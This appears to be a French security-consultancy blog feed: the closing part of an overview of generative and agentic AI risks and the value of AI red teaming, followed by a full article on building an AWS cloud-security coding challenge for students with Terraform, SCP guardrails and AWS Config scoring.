L’intégration croissante de l’IA dans des secteurs d’activité sensibles (santé, finance, défense, …) augmente les surfaces d’attaque des systèmes critiques, ce qui renforce le besoin de filtrage et d’anonymisation des données sensibles. Là où les applications IA étaient jusqu’à présent très cloisonnées, l’IA agentique met fin à ce cloisonnement puisqu’elle déploie une capacité d’interconnexion, ce qui ouvre la porte à de possibles propagations de menaces au sein des SI.

La baisse du niveau technique requis pour créer un système d’IA, notamment au travers de l’usage des plateformes SaaS et services Low/no code, en facilite l’usage tant pour des utilisateurs légitimes que pour des attaquants.

Enfin, la généralisation des « copilotes » directement sur les postes des collaborateurs se traduit par un usage croissant de composants de plus en plus autonomes qui agissent à la place de et avec les privilèges d’un humain, accélérant l’apparition de périmètres IA non-maitrisés ou Shadow IT IA.

Vers des systèmes de plus en plus difficiles à maitriser

Bien qu’imitant l’intelligence humaine en apparence, les modèles de GenAI (LLM, pour Large Langage Model) ont pour fonction unique d’imiter le langage et agissent finalement bien souvent comme des systèmes d’auto-complétion textuelle hautement performants. Ces systèmes ne sont nativement pas entrainés pour raisonner et leur utilisation se heurte à un fonctionnement en « boite noire ». Il est en effet complexe d’expliquer de manière fiable leur raisonnement, ce qui se traduit régulièrement par des hallucinations dans leurs productions, ou des contresens logiques. En pratique, il est également impossible de prouver l’absence de « porte dérobées » (backdoor) dans ces modèles, limitant encore davantage notre confiance dans ces systèmes.

L’émergence de l’IA agentique complexifie la situation. En interconnectant des systèmes au fonctionnement opaque, elle rend l’ensemble du processus de raisonnement généralement invérifiable et inexplicable. Les cas de modèle entrainant, auditant ou attaquant d’autres modèles se généralisent, ce qui induit une problématique de confiance majeure lorsqu’ils sont intégrés aux systèmes d’information des entreprises.

Quelles perspectives pour la suite ?

Les audits de RedTeaming IA menés sur des systèmes d’IA générative révèlent une réalité contrastée. D’un côté, l’innovation est fulgurante, portée par des cas d’usage de plus en plus puissants et intégrés. De l’autre, les vulnérabilités identifiées démontrent que ces systèmes, souvent perçus comme intelligents, restent largement manipulables, instables et peu explicables.

Ce constat s’inscrit dans un contexte plus large de démocratisation des outils IA couplée à leur autonomie croissante. L’IA agentique, en particulier, fait apparaître des chaînes d’action difficilement traçables, agissant avec des privilèges humains. Dans un tel paysage, le risque n’est plus uniquement technique : il devient aussi organisationnel et stratégique, impliquant une gouvernance et une supervision continue de ses usages.

Face à ces défis, le RedTeaming IA s’impose comme un levier essentiel pour anticiper les déviances possibles, en adoptant le point de vue de l’attaquant pour mieux prévenir les dérives. Il s’agit de tester les limites d’un système pour concevoir des mécanismes de protection robustes, pérennes, et alignés avec les nouveaux usages. C’est à ce prix que l’IA générative pourra continuer à évoluer dans un cadre de confiance, au service des utilisateurs comme des organisations.

Cet article Red Teaming IA : État des lieux des risques IA en 2025   est apparu en premier sur RiskInsight.

Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et le second aux étudiants en informatique. La partie technique consiste en 2 exercices de qualification et un événement final. Cet article aborde le deuxième exercice où, dans sa saison 2023, 33 équipes se sont affrontées autour de la sécurisation d’une infrastructure Cloud AWS. 

Sur fond d’une intrigue futuriste, les étudiants devenus consultants ont été mandatés par France Fusion, une entreprise chargée d’exploiter les premières usines à fusion nucléaire du pays. France Fusion souhaitait mettre au point une plateforme de supervision dans le Cloud. Pour ce faire, les données d’équipements industriels collectées, relevant de la propriété intellectuelle de France Fusion, devaient être analysées au travers d’une base de données ElasticSearch.  

Démarré sous la forme d’un Proof of Concept (PoC) en marge des équipes sécurité, une équipe de développeurs est parvenue à déployer une architecture fonctionnelle sur AWS. Les étudiants sont alors amenés à sécuriser l’infrastructure en respectant les politiques Cloud public de France Fusion. Le défi technique était de taille : déployer une infrastructure vulnérable en libre-service sur 33 comptes AWS. Il s’agissait également d’accorder aux étudiants un accès administrateur et les autorisations nécessaires pour effectuer des modifications directement depuis la console AWS, le tout avec un budget limité compte tenu du nombre de participants.  

Dans cet article, nous allons vous partager la recette qui a permis de faire de ce défi une réalité. 

Etape 1 : Mettre sur le papier une architecture portant une dimension pédagogique 

Avant de nous lancer dans le développement du coding game, nous avons pris en compte 4 contraintes :  

• La population cible : s’agissant d’étudiants, il est primordial de tenir compte de l’hétérogénéité en matière de connaissances Cloud. Par conséquent, nous nous sommes concentrés sur l’utilisation des services essentiels AWS (e.g., S3, EC2, Lambda), car ce sont des ressources bien documentées et parce que les étudiants sont susceptibles de les avoir abordés en classe ou dans le cadre de projets personnels. 
• Le thème : c’est un élément crucial pour immerger les étudiants dans un contexte de mission client. Nous avons donc cherché à créer une architecture aussi réaliste que possible. Ainsi, le choix de déployer une suite ELK (Elasticsearch, Logstash, Kibana) sur une instance EC2 nous a paru pertinent pour un PoC lié à de la supervision. 
• Les coûts : sachant que l’infrastructure doit être accessible par des étudiants pendant 2 semaines et qu’elle doit être répliquée sur 33 comptes AWS, nous avions tout intérêt à optimiser les coûts. Pour y parvenir, nous avons utilisé le calculateur de tarification AWS pour estimer les coûts, opté pour une région à faible coût et construit l’infrastructure autour de services « paiement à l’utilisation » tels que les fonctions Lambda. 
• Les échéances : pour faire face à un calendrier rapproché, nous avons défini des objectifs et des jalons avec une marge suffisante pour surmonter les éventuelles contraintes techniques. Les principales étapes du projet sont le développement, les tests, la création de comptes et le déploiement. 

Le schéma d’architecture « vulnérable » ci-dessous reflète ces 4 contraintes (Figure 1). L’équipement industriel est simulé par une fonction Lambda (Datalake) qui va générer des logs et les envoyer dans un bucket S3 (Datalake). Une seconde fonction Lambda (ELK) est alors déclenchée par une notification S3. Elle va récupérer le fichier de logs et l’envoyer dans la base ElasticSearch (image Docker dans une instance EC2). Enfin, l’interface Kibana est accessible depuis Internet pour l’analyse des logs.  

Figure 1 : schéma d’architecture initiale du Wavegame 2023 

Etape 2 : Concevoir une architecture sécurisée basée sur des politiques sécurité du Cloud public 

Maintenant que nous avons notre scénario initial, il s’agit de concevoir des politiques du Cloud public qui vont fixer les exigences sécurité et les critères d’évaluation. Pour cela, nous avons adapté des bonnes pratiques de sécurité mises en œuvre chez nos clients dont voici un extrait : 

• AWS-01 : Toutes les ressources AWS doivent utiliser des rôles IAM spécifiques à leurs besoins et respectant le principe du moindre privilège. 
• AWS-02 : Toutes les ressources AWS doivent être connectées et/ou attachées à un réseau privé (VPC). 
• AWS-03 : Les instances EC2 ne doivent pas être accessibles au public via Internet. 
• AWS-04 : Tous les logs d’infrastructure générés par les services AWS doivent être envoyés à CloudWatch. 
• AWS-05 : Le volume Amazon EBS racine doit être chiffré sur toutes les instances EC2. 
• AWS-06 : les données dans le bucket S3 doivent être chiffrées. 

À partir des politiques du Cloud public, nous avons élaboré l’architecture sécurisée suivante (Figure 2) : 

 Figure 2: schéma d’architecture cible du Wavegame 2023 

En résumé, l’ensemble des ressources Calcul sont positionnées dans un sous-réseau privé, le bucket S3 est accédé via un point de terminaison VPC, la plateforme de supervision ELK est accédée via une machine virtuelle de rebond. Les services Cloudwatch et CloudTrail sont activés pour le monitoring et la supervision. Des security groups sont attachés aux ressources pour n’autoriser que les communications entrantes strictement nécessaires. 

Etape 3 : passer du design au développement en Terraform 

Pour construire le coding game, nous avons créé et maintenu 2 architectures distinctes, représentées par 2 branches distinctes dans Github. La première étant l’architecture vulnérable qui sera déployée initialement, et la seconde étant la solution qui sert de garantie de faisabilité. Cette « garantie de faisabilité » signifie que 3 points obligatoires sont remplis : 

• Les permissions IAM doivent être suffisantes pour permettre au système de fonctionner correctement. 
• La configuration finale de l’infrastructure doit prendre en compte les cycles de vie des objets et leurs interactions. 
• L’expertise requise pour compléter le coding game doit être adaptée à la montée en compétence des étudiants sur une période de 2 semaines. 

Concernant le cycle de développement, plutôt que de suivre une approche linéaire, où l’on créerait d’abord le code pour l’infrastructure initiale, puis pour l’infrastructure cible, nous avons opté pour une approche agile avec la définition de blocs fonctionnels. Pour illustrer cette idée, le bloc « Lambda (ELK) -> S3 » vise à concevoir une fonction Lambda déclenchée dès qu’une notification S3 PutObject est générée, avec ou sans point de terminaison VPC. Bien que nous devions maintenir 2 configurations Terraform simultanément, cette approche nous a donné une plus grande agilité pour réévaluer nos choix techniques. Pour réduire davantage la redondance et assurer la maintenabilité, nous nous sommes aussi concentrés sur le développement de modules Terraform pour les objets Lambda et S3.   

Pour automatiser le déploiement des ressources dans notre Sandbox et dans nos comptes étudiants, nous avons créé une chaîne CI/CD simplifiée dans Github. Elle est constituée de 2 Github Actions. A travers une syntaxe YAML, les Github Actions permettent d’exécuter des tâches intégrées à AWS ou Hashicorp. Dans notre cas de figure, nous avions une tâche pour exécuter la commande terraform apply et une tâche pour appliquer la commande inverse terraform destroy.  

L’un des avantages des Github Actions est le fait de pouvoir stocker les identifiants d’accès à AWS dans Github Secrets au lieu du code source ou d’un fichier local. De plus, le stockage des états Terraform dans un bucket S3 facilite la collaboration. Un état Terraform est un fichier qui garde une trace de la configuration actuelle. Ainsi, chaque développeur configure sa clé S3 dans sa branche Github qui deviendra la référence de son état. 

Au fur et à mesure que le développement avançait, nous nous sommes rendu compte de l’ampleur de l’écart entre l’architecture initiale et l’architecture cible. La raison principale est que les logiques IAM et réseau sont très différentes. En conséquence, il est devenu essentiel d’effectuer des tests en conditions réelles, c’est-à-dire à partir de la console AWS, afin d’identifier les ruptures, les politiques bloquantes et d’évaluer la complexité. A titre d’exemple, l’un des tests nous a rappelé que le script de démarrage d’un EC2 appelé user-data n’est pas persistant après un redémarrage. Par conséquent, ce comportement a empêché la mise en œuvre de la politique de sécurité relative au chiffrement du volume racine Amazon EBS (AWS-05). 

Etape 4 : Déployer les environnements de manière sécurisée 

Dans le cadre de ce défi, nous étions sur le point d’accorder un accès privilégié à des étudiants dans un environnement pendant deux semaines pour lequel une surveillance ou une assistance individuelle constante est impossible. Bien que cette approche représente une meilleure opportunité d’apprentissage, elle soulève des scénarios de sécurité spécifiques que nous devons anticiper et atténuer. Parmi ceux-ci, le dépassement de budget était une préoccupation majeure, étant donné l’accès illimité et les ressources à leur disposition. Une autre menace importante est la possibilité pour les étudiants de s’élever au sein de l’organisation, d’obtenir des accès non prévus ou de se compromettre les uns avec les autres. Enfin, le risque de détournement des ressources à des fins non autorisées ou malveillantes n’est pas négligeable. Chacune de ces menaces doit faire l’objet d’un examen attentif afin de garantir un déploiement sûr et responsable. 

Pour ce coding game, nous avons opté pour une conception AWS multicomptes afin d’isoler les environnements de chaque équipe. Grâce à l’organisation AWS, nous avons simplifié l’administration, amélioré le contrôle des coûts et pu mettre en place des garde-fous à l’aide de politiques de contrôle de la sécurité (SCP). Dans la Figure 3, nous présentons notre organisation AWS, composée d’un compte admin et d’une Unité d’Organisation (UO) Wavegame qui héberge les comptes des équipes où l’infrastructure est déployée. Nous avons mis en place 3 SCP spécifiques pour : 

• Restreindre l’accès aux services AWS en dehors de la région désignée, us-east-1, en définissant une liste d’opérations autorisées. 
• Renforcer l’utilisation des types d’instance Amazon EC2 à du t2.micro ou t2.large (contrainte liée à l’environnement ElasticSearch). 
• Interdire aux comptes étudiants de supprimer ou de modifier une ressource dont la balise est « protected« . 

Par ailleurs, pour mieux gérer les coûts, en particulier pour une durée de deux semaines, nous avons mis en place une fonction Lambda pour fermer automatiquement les instances EC2 après 2 heures d’activité. Pour éviter toute modification non autorisée par les étudiants, cette fonction Lambda était l’une des ressources sécurisées avec la balise « protected« . 

Figure 3: Organisation AWS pour le Wavegame 2023 

Enfin, en plus de notre utilisateur IAM qui est administrateur de l’UO Wavegame via un rôle IAM, nous avons créé un utilisateur IAM avec le rôle AdministratorAccess pour chaque compte AWS, afin de donner de l’autonomie aux étudiants pendant le challenge. Ils ont notamment suffisamment de droits pour se créer des comptes nominatifs. 

Etape 5 : Se préparer au RUN et à la correction 

Une fois le coup d’envoi donné, les étudiants ont 2 semaines pour sécuriser les ressources dans leur compte AWS en suivant nos politiques sécurité du Cloud public. Avec autant de permissions, des erreurs de configuration cassantes peuvent vite survenir. Par exemple, un groupe a créé une politique S3 « Deny All« , ce qui l’a conduit à s’exclure lui-même, ainsi que toute autre personne, puisqu’aucun d’entre nous n’a les privilèges du compte racine. 

Pour faire face à ce genre de situation, nous avons mis en place le système de communication suivant : chaque équipe dispose d’un coach chargé de signaler les problèmes techniques à l’équipe organisatrice qui nous remonte ensuite les incidents. Nous avons ainsi pu enquêter et résoudre les problèmes ou communiquer rapidement avec eux sans recevoir trop de messages pour des questions simples auxquelles les coachs pouvaient répondre.  

Outre la gestion des incidents, notre rôle consistait également à surveiller les dépassements de budget. Pour ce faire, nous avons mis en place des alertes de coûts pour chaque compte AWS. Nous avons également développé un script pour suivre l’évolution du budget des équipes en temps réel. Cet outil s’est avéré très utile pour fournir une estimation du temps passé par les étudiants sur le défi et réagir en cas de dépenses anormales. Par exemple, deux jours après le début du défi, une alerte a été déclenchée en raison d’une défaillance de la fonction Lambda destinée à éteindre la machine virtuelle. 

Une fois que le défi s’est terminé avec peu d’incidents et que l’accès des étudiants a été révoqué, il était temps de procéder à l’évaluation pour déclarer les gagnants. Pour rappel, les étudiants devaient configurer leur compte AWS en conformité avec les politiques du Cloud public. Pour leur évaluation, nous avons utilisé deux mécanismes de notation : 

• Une évaluation automatique grâce au déploiement de règles gérées AWS Config à la fin du défi. Amazon fournit un ensemble de règles couvrant un pourcentage significatif des exigences. Par exemple, une règle permet de vérifier si le bucket S3 est chiffré (AWS-06). 
• Une évaluation manuelle basée sur des critères attendus et des étapes de vérification clairement documentées. 

Pour conclure, organiser un coding game est un challenge ambitieux qui nécessite des compétences Cloud public et Terraform, une organisation solide et des capacités de réaction face à des événements inattendus. Malgré les défis, c’est une opportunité exceptionnelle d’apprentissage. Pour les participants, le Wavegame offre une introduction immersive à la sécurité dans le Cloud public. Pour les organisateurs, le Wavegame est une expérience pratique sur le design, la conception et le maintien en condition opérationnelle d’une infrastructure dans le Cloud public. 

Cet article Comment construire un coding game Cloud public étape par étape ?  est apparu en premier sur RiskInsight.